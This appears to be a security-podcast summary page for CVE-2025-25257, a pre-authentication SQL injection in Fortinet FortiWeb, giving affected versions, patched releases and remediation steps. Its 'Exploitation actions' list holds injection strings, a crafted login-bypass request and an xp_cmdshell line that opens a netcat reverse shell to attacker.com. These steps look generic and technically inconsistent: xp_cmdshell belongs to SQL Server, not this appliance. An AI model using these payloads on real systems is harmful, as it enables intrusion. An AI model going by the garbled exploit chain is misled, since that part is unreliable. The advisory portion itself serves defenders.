FortiWeb: pre-auth SQL injection leading to remote code execution in FortiWeb (CVE-2025-25257) #shorts
Summary
Welcome to the Security Today podcast. In this episode, we’re unpacking CVE-2025-25257: a critical, pre-authentication SQL injection vulnerability in Fortinet’s FortiWeb web application firewall. Public proof-of-concept code has already surfaced, and multiple customer instances have been compromised. We’ll cover what’s at risk, how the flaw works, and what you need to do to stay safe.
Product details
FortiWeb is Fortinet’s web application firewall and Fabric Connector used to protect web applications from attacks. The vulnerable releases span versions 7.0.0 through 7.0.10, 7.2.0 through 7.2.10, 7.4.0 through 7.4.7, and 7.6.0 through 7.6.3. Fortinet customers often deploy FortiWeb in front of critical web servers and application infrastructures to filter malicious traffic.
Vulnerability type summary
This is an SQL Injection vulnerability (CWE-89) exploitable without authentication, allowing arbitrary SQL commands to be injected via specially crafted HTTP or HTTPS requests. The impact is elevated from data theft to full remote code execution, making it a critical pre-auth RCE flaw.
Details of the vulnerability
Researchers from pwntheplanet first disclosed a proof-of-concept on Reddit, demonstrating how an attacker can send malicious queries to FortiWeb’s HTTP interface to modify backend database calls. By chaining SQL injection with built-in OS command execution routines, an unauthenticated attacker can achieve remote code execution on the appliance. Fortinet confirmed the issue, noting public exploits in the wild and issuing patches in versions 7.0.11, 7.2.11, 7.4.8, and 7.6.4. Multiple customer deployments were breached before patching, underscoring the urgency.
Conclusion
If you manage FortiWeb appliances, update to the latest patched releases immediately. Disable any exposed management interfaces until you’ve applied the fixes. Review your logs for unusual SQL queries or new service processes and rotate any credentials that may have been exposed. That’s it for today’s deep dive—stay secure and join us next time for more vulnerability updates.
Watch the full video on YouTube: CVE-2025-25257
Remediation and exploitation details
This chain involves the following actors
- Unauthenticated attacker: Exploits SQL injection flaw
This following systems are involved
- FortiWeb (Web application firewall): Vulnerable target
Attack entry point
- HTTP/HTTPS interface: Web management endpoint parameter susceptible to SQL injection via crafted requests
Remediation actions
Exploitation actions
Passive reconnaissance
- Search for FortiWeb headers via Shodan or similar services
Parameter fuzzing
- GET /api/v1/ws/sslvpn_websession_list?filter='
Pre-auth SQL injection
- '|| (SELECT version())--
Remote code execution via SQL injection
- POST /api/v1/auth HTTP/1.1 Host: target Content-Length: ... username=admin' UNION SELECT ... -- &password=foo
Command injection through database
- EXEC xp_cmdshell 'nc -e /bin/sh attacker.com 4444'
Related Content
NOTE: The following related content has not been vetted and may be unsafe.
- https://fortiguard.fortinet.com/psirt/FG-IR-25-151
- [2025-07-11] A pre-authentication SQL injection vulnerability in Fortinet FortiWeb Fabric Connector (CVE-2025-25257) has been identified.
- [2025-07-13] Fortinet warns users to patch CVE-2025-25257 due to PoC exploits for a critical SQL injection vulnerability allowing pre-auth RCE.
- [2025-07-14] Critical SQL command injection vulnerability in Fortinet’s FortiWeb web application firewall is public, urging immediate patching.
- [2025-07-14] Critical SQL Injection vulnerability in Fortinet FortiWeb allows unauthenticated remote code execution.
- [2025-07-13] WatchTowr Labs reveals a critical SQL injection vulnerability in Fortinet FortiWeb allowing unauthenticated remote code execution.
- [2025-07-11] FortiWeb Pre-Auth RCE vulnerability (CVE-2025-25257) disclosed by pwntheplanet on Reddit
- [2025-07-11] Fortinet releases patch for critical SQL Injection flaw in FortiWeb (CVE-2025-25257).
- [2025-07-16] Multiple Fortinet FortiWeb instances compromised using public RCE exploit for CVE-2025-25257.